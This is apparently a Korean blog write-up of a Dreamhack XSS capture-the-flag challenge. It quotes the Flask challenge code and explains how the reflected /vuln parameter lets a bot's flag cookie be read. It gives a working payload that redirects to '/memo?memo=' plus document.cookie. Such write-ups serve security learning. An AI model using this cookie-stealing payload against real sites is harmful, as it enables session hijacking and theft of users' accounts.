<문제>
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
flag를 얻으려면 여기서 check_xss에 전달되는 value로 알아내야 한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
check_xss와 vuln 링크를 보면 flag 링크에서 전달한 param이 그대로 들어가기 때문에 xss를 발생시킬 수 있다.
flag값인 value가 cookie로 저장되고 read_url로 보내져서 cookie에 저장이 된다.
이 쿠키를 memo로 보내면 값을 읽을 수 있다.
<script>location.href = "/memo?memo=" + document.cookie;</script>
이런식으로 xss 코드를 작성하면 된다.
flag링크에서 저 url을 제출하고 memo 창에 가보면
flag가 보인다.
'웹해킹' 카테고리의 다른 글
ClientSide: CSRF (0) | 2023.11.03 |
---|---|
드림핵 xss-2 롸업 (0) | 2023.11.03 |
Cross-Site-Scripting (XSS) (0) | 2023.11.03 |
드림핵 session-basic 롸업 (0) | 2023.11.03 |
드림핵 cookie 롸업 (0) | 2023.11.03 |